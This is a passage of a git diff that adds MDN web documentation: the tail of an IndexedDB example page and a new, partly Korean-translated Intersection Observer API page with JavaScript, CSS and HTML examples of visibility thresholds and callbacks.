+ console.log("selected_file:", selected_file);
+ // Keeping a reference on how to reset the file input in the UI once we
+ // have its value, but instead of doing that we rather use a "reset" type
+ // input in the HTML form.
+ //file_input.val(null);
+ var file_url = $('#pub-file-url').val();
+ if (selected_file) {
+ addPublication(biblioid, title, year, selected_file);
+ } else if (file_url) {
+ addPublicationFromUrl(biblioid, title, year, file_url);
+ } else {
+ addPublication(biblioid, title, year);
+ }
+
+ });
+
+ $('#delete-button').click(function(evt) {
+ console.log("delete ...");
+ var biblioid = $('#pub-biblioid-to-delete').val();
+ var key = $('#key-to-delete').val();
+
+ if (biblioid != '') {
+ deletePublicationFromBib(biblioid);
+ } else if (key != '') {
+ // Better use Number.isInteger if the engine has EcmaScript 6
+ if (key == '' || isNaN(key)) {
+ displayActionFailure("Invalid key");
+ return;
+ }
+ key = Number(key);
+ deletePublication(key);
+ }
+ });
+
+ $('#clear-store-button').click(function(evt) {
+ clearObjectStore();
+ });
+
+ var search_button = $('#search-list-button');
+ search_button.click(function(evt) {
+ displayPubList();
+ });
+
+ }
+
+ openDb();
+ addEventListeners();
+
+})(); // Immediately-Invoked Function Expression (IIFE)</code></pre>
+
+<p>{{ LiveSampleLink('Full_IndexedDB_example', "Test the online live demo") }}</p>
+
+<h2 id="See_also">See also</h2>
+
+<p>Further reading for you to find out more information if desired.</p>
+
+<h3 id="Reference">Reference</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB API Reference</a></li>
+ <li><a href="http://www.w3.org/TR/IndexedDB/" title="http://www.w3.org/TR/IndexedDB/">Indexed Database API Specification</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/IndexedDB/Using_IndexedDB_in_chrome" title="/en-US/docs/IndexedDB/Using_IndexedDB_in_chrome">Using IndexedDB in chrome</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API/Using_JavaScript_Generators_in_Firefox">Using JavaScript generators in Firefox</a></li>
+ <li>IndexedDB <a href="https://mxr.mozilla.org/mozilla-central/find?text=&amp;string=dom%2FindexedDB%2F.*%5C.idl&amp;regexp=1" title="https://mxr.mozilla.org/mozilla-central/find?text=&amp;string=dom/indexedDB/.*\.idl&amp;regexp=1">interface files</a> in the Firefox source code</li>
+</ul>
+
+<h3 id="Tutorials_and_guides">Tutorials and guides</h3>
+
+<ul>
+ <li><a href="http://www.html5rocks.com/en/tutorials/indexeddb/uidatabinding/" title="http://www.html5rocks.com/en/tutorials/indexeddb/uidatabinding/">Databinding UI Elements with IndexedDB</a></li>
+ <li><a href="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx" title="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx">IndexedDB — The Store in Your Browser</a></li>
+</ul>
+
+<h3 id="Libraries">Libraries</h3>
+
+<ul>
+ <li><a href="https://localforage.github.io/localForage/">localForage</a>: A Polyfill providing a simple name:value syntax for client-side data storage, which uses IndexedDB in the background, but falls back to WebSQL and then localStorage in browsers that don't support IndexedDB.</li>
+ <li><a href="http://www.dexie.org/">dexie.js</a>: A wrapper for IndexedDB that allows much faster code development via nice, simple syntax.</li>
+ <li><a href="https://github.com/erikolson186/zangodb">ZangoDB</a>: A MongoDB-like interface for IndexedDB that supports most of the familiar filtering, projection, sorting, updating and aggregation features of MongoDB.</li>
+ <li><a href="http://jsstore.net/">JsStore</a>: A simple and advanced IndexedDB wrapper having SQL like syntax. </li>
+</ul>
diff --git a/files/ko/web/api/intersection_observer_api/index.html b/files/ko/web/api/intersection_observer_api/index.html
new file mode 100644
index 0000000000..b8b7af4cce
--- /dev/null
+++ b/files/ko/web/api/intersection_observer_api/index.html
@@ -0,0 +1,598 @@
+---
+title: Intersection Observer API
+slug: Web/API/Intersection_Observer_API
+translation_of: Web/API/Intersection_Observer_API
+---
+<div>{{DefaultAPISidebar("Intersection Observer API")}}</div>
+
+<p class="summary"><span class="seoSummary">Intersection Observer API는 타겟 요소와 상위 요소 또는 최상위 document 의 {{Glossary("viewport")}} 사이의 intersection 내의 변화를 비동기적으로 관찰하는 방법입니다.</span></p>
+
+<p>역사적으로 요소의 가시성이나 두 요소의 상대적인 가시성을 탐지하는 것은 어려운 일이었습니다. 일반적으로 알려진 해결방법은 신뢰성이 부족하고 브라우저나 사이트에 부하를 주기때문에 좋지 못한 사용자 경험을 낳습니다. 웹이 성숙함에따라 이러한 정보의 필요성은 커졌습니다. intersection 정보는 아래와 같은 여러가지 이유 때문에 필요합니다:</p>
+
+<ul>
+ <li>페이지가 스크롤 되는 도중에 발생하는 이미지나 다른 컨텐츠의 지연 로딩.</li>
+ <li>스크롤 시에, 더 많은 컨텐츠가 로드 및 렌더링되어 사용자가 페이지를 이동하지 않아도 되게 하는 infinite-scroll 을 구현.</li>
+ <li>광고 수익을 계산하기 위한 용도로 광고의 가시성 보고.</li>
+ <li>사용자에게 결과가 표시되는 여부에 따라 작업이나 애니메이션을 수행할 지 여부를 결정.</li>
+</ul>
+
+<p>과거에 intersection 감지를 구현하면 영향을 받는 모든 요소를 알기 위해서 {{domxref("Element.getBoundingClientRect()")}}와 같은 메서드를 호출하는 여러 이벤트 핸들러와 루프가 얽혀있었습니다. 모든 코드가 메인 스레드에서 실행되기 때문에, 이 중 하나라도 성능 문제를 일으킬 수 있습니다. 사이트가 이러한 테스트들과 함께 로드되면 상황이 더욱 나빠질 수 있습니다.</p>
+
+<p>infinite-scroll이 구현된 웹 페이지를 생각해보십시오. 공급 업체가 제공하는 라이브러리를 사용하여 페이지 전체에 주기적으로 배치되는 광고를 관리하고 여기저기 애니메이션 그래픽이 있으며 알림 상자 등을 그리는 사용자 라이브러리를 사용합니다. 요소들 각각은 자신만의 교차 감지 루틴이 존재하고 이 모든 것들은 메인 스레드 위에서 동작합니다. </p>
+
+<p>웹 페이지의 작성자는 사용중인 두 라이브러리의 내부 동작을 거의 알지 못하므로 이러한 일이 발생하는 것을 알지 못할 수도 있습니다. 사용자가 페이지를 스크롤할 때, 이러한 교차 탐지 루틴은 스크롤 처리 코드 중에 반복적으로 실행되므로 사용자는 브라우저, 웹사이트 및 컴퓨터에 좌절감을 느끼게 됩니다.</p>
+
+<p>Intersection Observer API 는 그들이 감시하고자 하는 요소가 다른 요소({{Glossary("viewport")}})에 들어가거나 나갈때 또는 요청한 부분만큼 두 요소의 교차부분이 변경될 때 마다 실행될 콜백 함수를 등록할 수 있게 합니다. 즉, 사이트는 요소의 교차를 지켜보기 위해 메인 스레드를 사용할 필요가 없어지고 브라우저는 원하는 대로 교차 영역 관리를 최적화 할 수 있습니다.</p>
+
+<p>정확히 몇 픽셀이 겹쳐졌고 어떠한 픽셀이 겹쳐졌는지 Intersection Observer API 가 알려줄 수 없습니다. 그러나 "N% 정도 교차하는 경우 상호작용이 이루어져야한다." 와 같은 더 일반적인 사용 사례를 다룰 수 있습니다.</p>
+
+<h2 id="Intersection_observer_의_컨셉과_사용">Intersection observer 의 컨셉과 사용</h2>
+
+<p>Intersection Observer API는 다음과 같은 상황에 호출되는 콜백을 생성하는 기능을 제공합니다:</p>
+
+<p>(1) <strong>대상(target) </strong>으로 칭하는 요소가 기기 뷰포트나 특정 요소(이 API에서 이를 <strong>root</strong> 요소 혹은 <strong>root</strong>로 칭함)와 교차함.</p>
+
+<p>(2) observer가 최초로 타겟을 관측하도록 요청받을 때마다.</p>
+
+<p>일반적으로, 당신은 요소의 교차성이 가장 가까운 스크롤 가능한 조상에 의해 변경되길 원할 것입니다(혹은 대상 요소가 다른 요소의 자손이 아니라면 뷰포트에 의해 변경될 수 있을 것입니다). document의 루트 요소를 기준으로 해당 요소를 관측하기 위해서는 <code>null</code>을 설정하세요.</p>
+
+<p>당신이 뷰포트 혹은 다른 요소를 root로 사용하건 간에, 이 API는 같은 방식으로 동작합니다. 대상 요소의 가시성이 변경될 때마다 당신이 등록한 콜백 함수를 실행하며, 그것은 당신이 원하는 만큼 root 요소와 교차합니다.</p>
+
+<p>root 와 대상 요소가 교차하는 정도를 <strong>intersection ratio </strong>라고 합니다. 이것은 대상 요소의 가시성 퍼센티지를 0.0~1.0의 숫자로 표현합니다.</p>
+
+<h3 id="intersection_observer_생성하기">intersection observer 생성하기</h3>
+
+<p>intersection observer를 생성하기 위해서는 생성자 호출 시 콜백 함수를 제공해야 합니다. 이 콜백 함수는 threshold가 한 방향 혹은 다른 방향으로 교차할 때 실행됩니다.</p>
+
+<pre class="brush: js">let options = {
+ root: document.querySelector('#scrollArea'),
+ rootMargin: '0px',
+ threshold: 1.0
+}
+
+let observer = new IntersectionObserver(callback, options);
+</pre>
+
+<p><code>threshold: 1.0</code> 은 대상 요소가 <code>root</code> 에 지정된 요소 내에서 100% 보여질 때 콜백이 호출될 것을 의미합니다.</p>
+
+<h4 id="Intersection_observer_설정">Intersection observer 설정</h4>
+
+<p>{{domxref("IntersectionObserver.IntersectionObserver", "IntersectionObserver()")}} 생성자에 전달되는 <code>options</code> 객체는 observer 콜백이 호출되는 상황을 조작할 수 있습니다. 이는 아래와 같은 필드를 가집니다:</p>
+
+<dl>
+ <dt><code>root</code></dt>
+ <dd>대상 객체의 가시성을 확인할 때 사용되는 뷰포트 요소입니다. 이는 대상 객체의 조상 요소여야 합니다. 기본값은 브라우저 뷰포트이며, <code>root</code> 값이 <code>null</code> 이거나 지정되지 않을 때 기본값으로 설정됩니다.</dd>
+ <dt><code>rootMargin</code></dt>
+ <dd>root 가 가진 여백입니다. 이 속성의 값은 CSS의 {{cssxref("margin")}} 속성과 유사합니다. e.g. "<code>10px 20px 30px 40px"</code> (top, right, bottom, left). 이 값은 퍼센티지가 될 수 있습니다. 이것은 root 요소의 각 측면의 bounding box를 수축시키거나 증가시키며, 교차성을 계산하기 전에 적용됩니다. 기본값은 0입니다.</dd>
+ <dt><code>threshold</code></dt>
+ <dd>observer의 콜백이 실행될 대상 요소의 가시성 퍼센티지를 나타내는 단일 숫자 혹은 숫자 배열입니다. 만일 50%만큼 요소가 보여졌을 때를 탐지하고 싶다면, 값을 <code>0.5</code>로 설정하면 됩니다. 혹은 25% 단위로 요소의 가시성이 변경될 때마다 콜백이 실행되게 하고 싶다면 <code>[0, 0.25, 0.5, 0.75, 1]</code> 과 같은 배열을 설정하세요.<br>
+ 기본값은 <code>0</code>이며(이는 요소가 1픽셀이라도 보이자 마자 콜백이 실행됨을 의미합니다). <code>1.0</code>은 요소의 모든 픽셀이 화면에 노출되기 전에는 콜백을 실행시키지 않음을 의미합니다.</dd>
+</dl>
+
+<h4 id="Targeting_an_element_to_be_observed">Targeting an element to be observed</h4>
+
+<p>Once you have created the observer, you need to give it a target element to watch:</p>
+
+<pre class="brush: js">let target = document.querySelector('#listItem');
+observer.observe(target);
+
+// the callback we setup for the observer will be executed now for the first time
+// it waits until we assign a target to our observer (even if the target is currently not visible)
+</pre>
+
+<p>Whenever the target meets a threshold specified for the <code>IntersectionObserver</code>, the callback is invoked. The callback receives a list of {{domxref("IntersectionObserverEntry")}} objects and the observer:</p>
+
+<pre class="brush: js">let callback = (entries, observer) =&gt; {
+ entries.forEach(entry =&gt; {
+ // Each entry describes an intersection change for one observed
+ // target element:
+ // entry.boundingClientRect
+ // entry.intersectionRatio
+ // entry.intersectionRect
+ // entry.isIntersecting
+ // entry.rootBounds
+ // entry.target
+ // entry.time
+ });
+};
+</pre>
+
+<p>Be aware that your callback is executed on the main thread. It should operate as quickly as possible; if anything time-consuming needs to be done, use {{domxref("Window.requestIdleCallback()")}}.</p>
+
+<p>Also, note that if you specified the <code>root</code> option, the target must be a descendant of the root element.</p>
+
+<h3 id="How_intersection_is_calculated">How intersection is calculated</h3>
+
+<p>All areas considered by the Intersection Observer API are rectangles; elements which are irregularly shaped are considered as occupying the smallest rectangle which encloses all of the element's parts. Similarly, if the visible portion of an element is not rectangular, the element's intersection rectangle is construed to be the smallest rectangle that contains all the visible portions of the element.</p>
+
+<p>It's useful to understand a bit about how the various properties provided by {{domxref("IntersectionObserverEntry")}} describe an intersection.</p>
+
+<h4 id="The_intersection_root_and_root_margin">The intersection root and root margin</h4>
+
+<p>Before we can track the intersection of an element with a container, we need to know what that container is. That container is the <strong>intersection root</strong>, or <strong>root element</strong>. This can be either a specific element in the document which is an ancestor of the element to be observed, or <code>null</code> to use the document's viewport as the container.</p>
+
+<p>The <strong><dfn>root intersection rectangle</dfn></strong> is the rectangle used to check against the target or targets. This rectangle is determined like this:</p>
+
+<ul>
+ <li>If the intersection root is the implicit root (that is, the top-level {{domxref("Document")}}), the root intersection rectangle is the viewport's rectangle.</li>
+ <li>If the intersection root has an overflow clip, the root intersection rectangle is the root element's content area.</li>
+ <li>Otherwise, the root intersection rectangle is the intersection root's bounding client rectangle (as returned by calling {{domxref("Element.getBoundingClientRect", "getBoundingClientRect()")}} on it).</li>
+</ul>
+
+<p>The root intersection rectangle can be adjusted further by setting the <strong>root margin</strong>, <code>rootMargin</code>, when creating the {{domxref("IntersectionObserver")}}. The values in <code>rootMargin</code> define offsets added to each side of the intersection root's bounding box to create the final intersection root bounds (which are disclosed in {{domxref("IntersectionObserverEntry.rootBounds")}} when the callback is executed).</p>
+
+<h4 id="Thresholds">Thresholds</h4>
+
+<p>Rather than reporting every infinitesimal change in how much a target element is visible, the Intersection Observer API uses <strong>thresholds</strong>. When you create an observer, you can provide one or more numeric values representing percentages of the target element which are visible. Then, the API only reports changes to visibility which cross these thresholds.</p>
+
+<p>For example, if you want to be informed every time a target's visibility passes backward or forward through each 25% mark, you would specify the array [0, 0.25, 0.5, 0.75, 1] as the list of thresholds when creating the observer. You can tell which direction the visibility changed in (that is, whether the element became more visible or less visible) by checking the value of the {{domxref("IntersectionObserverEntry.isIntersecting", "isIntersecting")}} property on the {{domxref("IntersectionObserverEntry")}} passed into the callback function at the time of the visibility change. If <code>isIntersecting</code> is <code>true</code>, the target element has become at least as visible as the threshold that was passed. If it's <code>false</code>, the target is no longer as visible as the given threshold.</p>
+
+<p>To get a feeling for how thresholds work, try scrolling the box below around. Each colored box within it displays the percentage of itself that's visible in all four of its corners, so you can see these ratios change over time as you scroll the container. Each box has a different set of thresholds:</p>
+
+<ul>
+ <li>The first box has a threshold for each percentage point of visibility; that is, the {{domxref("IntersectionObserver.thresholds")}} array is <code>[0.00, 0.01, 0.02, ..., 0.99, 1.00]</code>.</li>
+ <li>The second box has a single threshold, at the 50% mark.</li>
+ <li>The third box has thresholds every 10% of visibility (0%, 10%, 20%, etc.).</li>
+ <li>The last box has thresholds each 25%.</li>
+</ul>
+
+<div class="hidden">
+<h5 id="Threshold_example">Threshold example</h5>
+
+<pre class="brush: html">&lt;template id="boxTemplate"&gt;
+ &lt;div class="sampleBox"&gt;
+ &lt;div class="label topLeft"&gt;&lt;/div&gt;
+ &lt;div class="label topRight"&gt;&lt;/div&gt;
+ &lt;div class="label bottomLeft"&gt;&lt;/div&gt;
+ &lt;div class="label bottomRight"&gt;&lt;/div&gt;
+ &lt;/div&gt;
+&lt;/template&gt;
+
+&lt;main&gt;
+ &lt;div class="contents"&gt;
+ &lt;div class="wrapper"&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+&lt;/main&gt;</pre>
+
+<pre class="brush: css">.contents {
+ position: absolute;
+ width: 700px;
+ height: 1725px;
+}
+
+.wrapper {
+ position: relative;
+ top: 600px;
+}
+
+.sampleBox {
+ position: relative;
+ left: 175px;
+ width: 150px;
+ background-color: rgb(245, 170, 140);
+ border: 2px solid rgb(201, 126, 17);
+ padding: 4px;
+ margin-bottom: 6px;
+}
+
+#box1 {
+ height: 200px;
+}
+
+#box2 {
+ height: 75px;
+}
+
+#box3 {
+ height: 150px;
+}
+
+#box4 {
+ height: 100px;
+}
+
+.label {
+ font: 14px "Open Sans", "Arial", sans-serif;
+ position: absolute;
+ margin: 0;
+ background-color: rgba(255, 255, 255, 0.7);
+ border: 1px solid rgba(0, 0, 0, 0.7);
+ width: 3em;
+ height: 18px;
+ padding: 2px;
+ text-align: center;
+}
+
+.topLeft {
+ left: 2px;
+ top: 2px;
+}
+
+.topRight {
+ right: 2px;
+ top: 2px;
+}
+
+.bottomLeft {
+ bottom: 2px;
+ left: 2px;
+}
+
+.bottomRight {
+ bottom: 2px;
+ right: 2px;
+}
+</pre>
+
+<pre class="brush: js">let observers = [];
+
+startup = () =&gt; {
+ let wrapper = document.querySelector(".wrapper");
+
+ // Options for the observers
+
+ let observerOptions = {
+ root: null,
+ rootMargin: "0px",
+ threshold: []
+ };
+
+ // An array of threshold sets for each of the boxes. The
+ // first box's thresholds are set programmatically
+ // since there will be so many of them (for each percentage
+ // point).
+
+ let thresholdSets = [
+ [],
+ [0.5],
+ [0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0],
+ [0, 0.25, 0.5, 0.75, 1.0]
+ ];
+
+ for (let i=0; i&lt;=1.0; i+= 0.01) {
+ thresholdSets[0].push(i);
+ }
+
+ // Add each box, creating a new observer for each
+
+ for (let i=0; i&lt;4; i++) {
+ let template = document.querySelector("#boxTemplate").content.cloneNode(true);
+ let boxID = "box" + (i+1);
+ template.querySelector(".sampleBox").id = boxID;
+ wrapper.appendChild(document.importNode(template, true));
+
+ // Set up the observer for this box
+
+ observerOptions.threshold = thresholdSets[i];
+ observers[i] = new IntersectionObserver(intersectionCallback, observerOptions);
+ observers[i].observe(document.querySelector("#" + boxID));
+ }
+
+ // Scroll to the starting position
+
+ document.scrollingElement.scrollTop = wrapper.firstElementChild.getBoundingClientRect().top + window.scrollY;
+ document.scrollingElement.scrollLeft = 750;
+}
+
+intersectionCallback = (entries) =&gt; {
+ entries.forEach((entry) =&gt; {
+ let box = entry.target;
+ let visiblePct = (Math.floor(entry.intersectionRatio * 100)) + "%";
+
+ box.querySelector(".topLeft").innerHTML = visiblePct;
+ box.querySelector(".topRight").innerHTML = visiblePct;
+ box.querySelector(".bottomLeft").innerHTML = visiblePct;
+ box.querySelector(".bottomRight").innerHTML = visiblePct;
+ });
+}
+
+startup();
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("Threshold_example", 500, 500)}}</p>
+
+<h4 id="Clipping_and_the_intersection_rectangle">Clipping and the intersection rectangle</h4>
+
+<p>The browser computes the final intersection rectangle as follows; this is all done for you, but it can be helpful to understand these steps in order to better grasp exactly when intersections will occur.</p>
+
+<ol>
+ <li>The target element's bounding rectangle (that is, the smallest rectangle that fully encloses the bounding boxes of every component that makes up the element) is obtained by calling {{domxref("Element.getBoundingClientRect", "getBoundingClientRect()")}} on the target. This is the largest the intersection rectangle may be. The remaining steps will remove any portions that don't intersect.</li>
+ <li>Starting at the target's immediate parent block and moving outward, each containing block's clipping (if any) is applied to the intersection rectangle. A block's clipping is determined based on the intersection of the two blocks and the clipping mode (if any) specified by the {{cssxref("overflow")}} property. Setting <code>overflow</code> to anything but <code>visible</code> causes clipping to occur.</li>
+ <li>If one of the containing elements is the root of a nested browsing context (such as the document contained in an {{HTMLElement("iframe")}}, the intersection rectangle is clipped to the containing context's viewport, and recursion upward through the containers continues with the container's containing block. So if the top level of an <code>&lt;iframe&gt;</code> is reached, the intersection rectangle is clipped to the frame's viewport, then the frame's parent element is the next block recursed through toward the intersection root.</li>
+ <li>When recursion upward reaches the intersection root, the resulting rectangle is mapped to the intersection root's coordinate space.</li>
+ <li>The resulting rectangle is then updated by intersecting it with the <a href="/en-US/docs/Web/API/Intersection_Observer_API#root-intersection-rectangle">root intersection rectangle</a>.</li>
+ <li>This rectangle is, finally, mapped to the coordinate space of the target's {{domxref("document")}}.</li>
+</ol>
+
+<h3 id="Intersection_change_callbacks">Intersection change callbacks</h3>
+
+<p>When the amount of a target element which is visible within the root element crosses one of the visibility thresholds, the {{domxref("IntersectionObserver")}} object's callback is executed. The callback receives as input an array of all of <code>IntersectionObserverEntry</code> objects, one for each threshold which was crossed, and a reference to the <code>IntersectionObserver</code> object itself.</p>
+
+<p>Each entry in the list of thresholds is an {{domxref("IntersectionObserverEntry")}} object describing one threshold that was crossed; that is, each entry describes how much of a given element is intersecting with the root element, whether or not the element is considered to be intersecting or not, and the direction in which the transition occurred.</p>
+
+<p>The code snippet below shows a callback which keeps a counter of how many times elements transition from not intersecting the root to intersecting by at least 75%.</p>
+
+<pre class="brush: js">intersectionCallback(entries) =&gt; {
+ entries.forEach(entry =&gt; {
+ if (entry.isIntersecting) {
+ let elem = entry.target;
+
+ if (entry.intersectionRatio &gt;= 0.75) {
+ intersectionCounter++;
+ }
+ }
+ });
+}
+</pre>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt>{{domxref("IntersectionObserver")}}</dt>
+ <dd>The primary interface for the Intersection Observer API. Provides methods for creating and managing an observer which can watch any number of target elements for the same intersection configuration. Each observer can asynchronously observe changes in the intersection between one or more target elements and a shared ancestor element or with their top-level {{domxref("Document")}}'s {{Glossary('viewport')}}. The ancestor or viewport is referred to as the <strong>root</strong>.</dd>
+ <dt>{{domxref("IntersectionObserverEntry")}}</dt>
+ <dd>Describes the intersection between the target element and its root container at a specific moment of transition. Objects of this type can only be obtained in two ways: as an input to your <code>IntersectionObserver</code> callback, or by calling {{domxref("IntersectionObserver.takeRecords()")}}.</dd>
+</dl>
+
+<h2 id="A_simple_example">A simple example</h2>
+
+<p>This simple example causes a target element to change its color and transparency as it becomes more or less visible. At <a href="/en-US/docs/Web/API/Intersection_Observer_API/Timing_element_visibility">Timing element visibility with the Intersection Observer API</a>, you can find a more extensive example showing how to time how long a set of elements (such as ads) are visible to the user and to react to that information by recording statistics or by updating elements..</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>The HTML for this example is very short, with a primary element which is the box that we'll be targeting (with the creative ID <code>"box"</code>) and some contents within the box.</p>
+
+<pre class="brush: html">&lt;div id="box"&gt;
+ &lt;div class="vertical"&gt;
+ Welcome to &lt;strong&gt;The Box!&lt;/strong&gt;
+ &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<p>The CSS isn't terribly important for the purposes of this example; it lays out the element and establishes that the {{cssxref("background-color")}} and {{cssxref("border")}} attributes can participate in <a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS transitions</a>, which we'll use to affect the changes to the element as it becomes more or less obscured.</p>
+
+<pre class="brush: css">#box {
+ background-color: rgba(40, 40, 190, 255);
+ border: 4px solid rgb(20, 20, 120);
+ transition: background-color 1s, border 1s;
+ width: 350px;
+ height: 350px;
+ display: flex;
+ align-items: center;
+ justify-content: center;
+ padding: 20px;
+}
+
+.vertical {
+ color: white;
+ font: 32px "Arial";
+}
+
+.extra {
+ width: 350px;
+ height: 350px;
+ margin-top: 10px;
+ border: 4px solid rgb(20, 20, 120);
+ text-align: center;
+ padding: 20px;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>Finally, let's take a look at the JavaScript code that uses the Intersection Observer API to make things happen.</p>
+
+<h4 id="Setting_up">Setting up</h4>
+
+<p>First, we need to prepare some variables and install the observer.</p>
+
+<pre class="brush: js">const numSteps = 20.0;
+
+let boxElement;
+let prevRatio = 0.0;
+let increasingColor = "rgba(40, 40, 190, ratio)";
+let decreasingColor = "rgba(190, 40, 40, ratio)";
+
+// Set things up
+window.addEventListener("load", (event) =&gt; {
+ boxElement = document.querySelector("#box");
+
+ createObserver();
+}, false);</pre>
+
+<p>The constants and variables we set up here are:</p>
+
+<dl>
+ <dt><code>numSteps</code></dt>
+ <dd>A constant which indicates how many thresholds we want to have between a visibility ratio of 0.0 and 1.0.</dd>
+ <dt><code>prevRatio</code></dt>
+ <dd>This variable will be used to record what the visibility ratio was the last time a threshold was crossed; this will let us figure out whether the target element is becoming more or less visible.</dd>
+ <dt><code>increasingColor</code></dt>
+ <dd>A string defining a color we'll apply to the target element when the visibility ratio is increasing. The word "ratio" in this string will be replaced with the target's current visibility ratio, so that the element not only changes color but also becomes increasingly opaque as it becomes less obscured.</dd>
+ <dt><code>decreasingColor</code></dt>
+ <dd>Similarly, this is a string defining a color we'll apply when the visibility ratio is decreasing.</dd>
+</dl>
+
+<p>We call {{domxref("EventTarget.addEventListener", "Window.addEventListener()")}} to start listening for the {{event("load")}} event; once the page has finished loading, we get a reference to the element with the ID <code>"box"</code> using {{domxref("Document.querySelector", "querySelector()")}}, then call the <code>createObserver()</code> method we'll create in a moment to handle building and installing the intersection observer.</p>
+
+<h4 id="Creating_the_intersection_observer">Creating the intersection observer</h4>
+
+<p>The <code>createObserver()</code> method is called once page load is complete to handle actually creating the new {{domxref("IntersectionObserver")}} and starting the process of observing the target element.</p>
+
+<pre class="brush: js">function createObserver() {
+ let observer;
+
+ let options = {
+ root: null,
+ rootMargin: "0px",
+ threshold: buildThresholdList()
+ };
+
+ observer = new IntersectionObserver(handleIntersect, options);
+ observer.observe(boxElement);
+}</pre>
+
+<p>This begins by setting up an <code>options</code> object containing the settings for the observer. We want to watch for changes in visibility of the target element relative to the document's viewport, so <code>root</code> is <code>null</code>. We need no margin, so the margin offset, <code>rootMargin</code>, is specified as "0px". This causes the observer to watch for changes in the intersection between the target element's bounds and those of the viewport, without any added (or subtracted) space.</p>
+
+<p>The list of visibility ratio thresholds, <code>threshold</code>, is constructed by the function <code>buildThresholdList()</code>. The threshold list is built programmatically in this example since there are a number of them and the number is intended to be adjustable.</p>
+
+<p>Once <code>options</code> is ready, we create the new observer, calling the {{domxref("IntersectionObserver.IntersectionObserver", "IntersectionObserver()")}} constructor, specifying a function to be called when intersection crosses one of our thresholds, <code>handleIntersect()</code>, and our set of options. We then call {{domxref("IntersectionObserver.observe", "observe()")}} on the returned observer, passing into it the desired target element.</p>
+
+<p>We could opt to monitor multiple elements for visibility intersection changes with respect to the viewport by calling <code>observer.observe()</code> for each of those elements, if we wanted to do so.</p>
+
+<h4 id="Building_the_array_of_threshold_ratios">Building the array of threshold ratios</h4>
+
+<p>The <code>buildThresholdList()</code> function, which builds the list of thresholds, looks like this:</p>
+
+<pre class="brush: js">function buildThresholdList() {
+ let thresholds = [];
+ let numSteps = 20;
+
+ for (let i=1.0; i&lt;=numSteps; i++) {
+ let ratio = i/numSteps;
+ thresholds.push(ratio);
+ }
+
+ thresholds.push(0);
+ return thresholds;
+}</pre>
+
+<p>This builds the array of thresholds—each of which is a ratio between 0.0 and 1.0, by pushing the value <code>i/numSteps</code> onto the <code>thresholds</code> array for each integer <code>i</code> between 1 and <code>numSteps</code>. It also pushes 0 to include that value. The result, given the default value of <code>numSteps</code> (20), is the following list of thresholds:</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>#</th>
+ <th>Ratio</th>
+ <th>#</th>
+ <th>Ratio</th>
+ </tr>
+ <tr>
+ <th>1</th>
+ <td>0.05</td>
+ <th>11</th>
+ <td>0.55</td>
+ </tr>
+ <tr>
+ <th>2</th>
+ <td>0.1</td>
+ <th>12</th>
+ <td>0.6</td>
+ </tr>
+ <tr>
+ <th>3</th>
+ <td>0.15</td>
+ <th>13</th>
+ <td>0.65</td>
+ </tr>
+ <tr>
+ <th>4</th>
+ <td>0.2</td>
+ <th>14</th>
+ <td>0.7</td>
+ </tr>
+ <tr>
+ <th>5</th>
+ <td>0.25</td>
+ <th>15</th>
+ <td>0.75</td>
+ </tr>
+ <tr>
+ <th>6</th>
+ <td>0.3</td>
+ <th>16</th>
+ <td>0.8</td>
+ </tr>
+ <tr>
+ <th>7</th>
+ <td>0.35</td>
+ <th>17</th>
+ <td>0.85</td>
+ </tr>
+ <tr>
+ <th>8</th>
+ <td>0.4</td>
+ <th>18</th>
+ <td>0.9</td>
+ </tr>
+ <tr>
+ <th>9</th>
+ <td>0.45</td>
+ <th>19</th>
+ <td>0.95</td>
+ </tr>
+ <tr>
+ <th>10</th>
+ <td>0.5</td>
+ <th>20</th>
+ <td>1.0</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>We could, of course, hard-code the array of thresholds into our code, and often that's what you'll end up doing. But this example leaves room for adding configuration controls to adjust the granularity, for example.</p>
+
+<h4 id="Handling_intersection_changes">Handling intersection changes</h4>
+
+<p>When the browser detects that the target element (in our case, the one with the ID <code>"box"</code>) has been unveiled or obscured such that its visibility ratio crosses one of the thresholds in our list, it calls our handler function, <code>handleIntersect()</code>:</p>
+
+<pre class="brush: js">function handleIntersect(entries, observer) {
+ entries.forEach((entry) =&gt; {
+ if (entry.intersectionRatio &gt; prevRatio) {
+ entry.target.style.backgroundColor = increasingColor.replace("ratio", entry.intersectionRatio);
+ } else {
+ entry.target.style.backgroundColor = decreasingColor.replace("ratio", entry.intersectionRatio);
+ }
+
+ prevRatio = entry.intersectionRatio;
+ });
+}</pre>
+
+<p>For each {{domxref("IntersectionObserverEntry")}} in the list <code>entries</code>, we look to see if the entry's {{domxref("IntersectionObserverEntry.intersectionRatio", "intersectionRatio")}} is going up; if it is, we set the target's {{cssxref("background-color")}} to the string in <code>increasingColor</code> (remember, it's <code>"rgba(40, 40, 190, ratio)"</code>), replaces the word "ratio" with the entry's <code>intersectionRatio</code>. The result: not only does the color get changed, but the transparency of the target element changes, too; as the intersection ratio goes down, the background color's alpha value goes down with it, resulting in an element that's more transparent.</p>
+
+<p>Similarly, if the <code>intersectionRatio</code> is going down, we use the string <code>decreasingColor</code> and replace the word "ratio" in that with the <code>intersectionRatio</code> before setting the target element's <code>background-color</code>.</p>
+
+<p>Finally, in order to track whether the intersection ratio is going up or down, we remember the current ratio in the variable <code>prevRatio</code>.</p>
+
+<h3 id="Result">Result</h3>
+
+<p>Below is the resulting content. Scroll this page up and down and notice how the appearance of the box changes as you do so.</p>
+
+<p>{{EmbedLiveSample('A_simple_example', 400, 400)}}</p>
+
